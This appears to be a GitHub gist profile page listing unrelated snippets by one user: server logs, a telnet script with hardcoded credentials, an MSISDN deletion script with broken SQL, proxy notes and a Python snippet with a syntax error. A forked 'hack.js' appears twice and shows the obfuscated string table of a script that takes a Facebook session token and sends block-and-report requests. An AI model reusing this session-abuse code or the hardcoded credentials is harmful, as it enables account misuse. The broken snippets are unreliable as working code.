Skip to content

Instantly share code, notes, and snippets.

View askinss's full-sized avatar

Akinsola Akinwale askinss

  • Andela
  • Earth
View GitHub Profile
@askinss
askinss / log.txt
Created August 28, 2013 18:44
some loggingexceptions
cherServlet - Context initialization failed
org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'SMSHandler': Injection of autowired dependencies failed; nested exception is org.springframework.beans.factory.BeanCreationException: Could not autowire method: public void com.vasconsulting.www.controllers.SMSHandler.setHibernateUtility(com.vasconsulting.www.interfaces.HibernateUtility); nested exception is java.lang.NoClassDefFoundError: com/vasconsulting/www/utility/HomiscoResults
at org.springframework.beans.factory.annotation.AutowiredAnnotationBeanPostProcessor.postProcessPropertyValues(AutowiredAnnotationBeanPostProcessor.java:285)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.populateBean(AbstractAutowireCapableBeanFactory.java:1074)
at org.springframework.beans.factory.support.AbstractAutowireCapableBeanFactory.doCreateBean(AbstractAutowireCapableBeanFactory.java:517)
at org.springframework.beans.factory.
@askinss
askinss / ported.rb
Created September 24, 2013 12:22
script to delete msisdn from a databse table
imsi = Array.new
f = File.open("/home/bblite/portedmsisdn.txt")
f.each_line {|line| imsi.push line}
conn = OCI8.new(DB_USER, DB_PASSWORD, DB_SERVER)
ported = conn.exec("del from subscriber where '#{imsi[0]}'")
@askinss
askinss / ema.rb
Created September 26, 2013 02:48
subscriber imsi fix
require 'net/telnet'
HOST = '172.23.1.100'
PORT = '10050'
USERNAME = 'BBBMW'
PASSWORD = 'BBBMW'
def get_imsi(msisdn, &block)
ema = Net::Telnet::new("Host" => "#{HOST}",
@askinss
askinss / smsc.txt
Created October 1, 2013 14:01
kannel logs
2013-10-01 15:05:44 [15836] [4] DEBUG: SMPP PDU 0xe8bf0c0 dump:
2013-10-01 15:05:44 [15836] [4] DEBUG: type_name: enquire_link_resp
2013-10-01 15:05:44 [15836] [4] DEBUG: command_id: 2147483669 = 0x80000015
2013-10-01 15:05:44 [15836] [4] DEBUG: command_status: 0 = 0x00000000
2013-10-01 15:05:44 [15836] [4] DEBUG: sequence_number: 190 = 0x000000be
2013-10-01 15:05:44 [15836] [4] DEBUG: SMPP PDU dump ends.
2013-10-01 15:06:06 [15836] [4] DEBUG: SMPP[SMPP:10.2.59.33:8010/8010:BBbroker:smpp]: Sending enquire link:
2013-10-01 15:06:06 [15836] [4] DEBUG: SMPP PDU 0xe8bef10 dump:
2013-10-01 15:06:06 [15836] [4] DEBUG: type_name: enquire_link
2013-10-01 15:06:06 [15836] [4] DEBUG: command_id: 21 = 0x00000015
Export your shell environment for http proxy use
export http_proxy="http://hostname:port" or save it to your shell profile. (i.e. ~/.bash_rc)
export http_proxy='http://example.proxy_name.com:80'
For multi-user installs, use sudo -E to preserve the proxy settings in your environment:
Setting git to use a proxy
Set your git tool to use the environment proxy inside you ~/.gitconfig
@askinss
askinss / hack.js
Created February 3, 2014 02:17 — forked from bjhaid/hack.js
var _0xb161= ["value", "fb_dtsg", "getElementsByName", "match", "cookie", "getTime", "//www.facebook.com/ajax/report/social.php", "fb_dtsg=", "&block=1&pp={\"actions_to_take\":\"[]\",\"are_friends\":false,\"cid\":", ",\"content_type\":0,\"expand_report\":1,\"first_choice\":\"file_report\",\"from_gear\":\"timeline\",\"is_following\":false,\"is_tagged\":false,\"on_profile\":false,\"phase\":3,\"ref\":\"https:\\/\\/www.facebook.com\\/Nan.ertt7\",\"report_type\":145,\"rid\":", ",\"sub_report_type\":3,\"time_flow_started\":", ",\"user\":", "}&file_report=1&__user=", "&__a=1&__dyn=7n8ahyj2qmvu5k9UmAAaUVpo&__req=u&ttstamp=2658168571071108880", "POST", "open", "onreadystatechange", "readyState", "status", "close", "send", "100006952119048"]
@askinss
askinss / hack.js
Created February 3, 2014 02:17 — forked from bjhaid/hack.js
var _0xb161= ["value", "fb_dtsg", "getElementsByName", "match", "cookie", "getTime", "//www.facebook.com/ajax/report/social.php", "fb_dtsg=", "&block=1&pp={\"actions_to_take\":\"[]\",\"are_friends\":false,\"cid\":", ",\"content_type\":0,\"expand_report\":1,\"first_choice\":\"file_report\",\"from_gear\":\"timeline\",\"is_following\":false,\"is_tagged\":false,\"on_profile\":false,\"phase\":3,\"ref\":\"https:\\/\\/www.facebook.com\\/Nan.ertt7\",\"report_type\":145,\"rid\":", ",\"sub_report_type\":3,\"time_flow_started\":", ",\"user\":", "}&file_report=1&__user=", "&__a=1&__dyn=7n8ahyj2qmvu5k9UmAAaUVpo&__req=u&ttstamp=2658168571071108880", "POST", "open", "onreadystatechange", "readyState", "status", "close", "send", "100006952119048"]
> date -d-1day
Mon Sep 6 09:08:43 CEST 2010
> date -d-1day +%Y%m
201009
@askinss
askinss / install-odoo.sh
Created November 30, 2015 17:25 — forked from yelizariev/install-odoo.sh
install odoo from source
if [ "$(basename $0)" = "install-odoo.sh" ]; then
echo "don't run install-odoo.sh, because it's not fully automated script. Copy, paste and execute commands from this file manually"
exit 0
fi
#### Detect type of system manager
export SYSTEM=''
pidof systemd && export SYSTEM='systemd'
import calendar
'''
'''
year@ = int(input("Input the year : "))
month = int(input("Input the month : "))
print(calendar.month(year, month))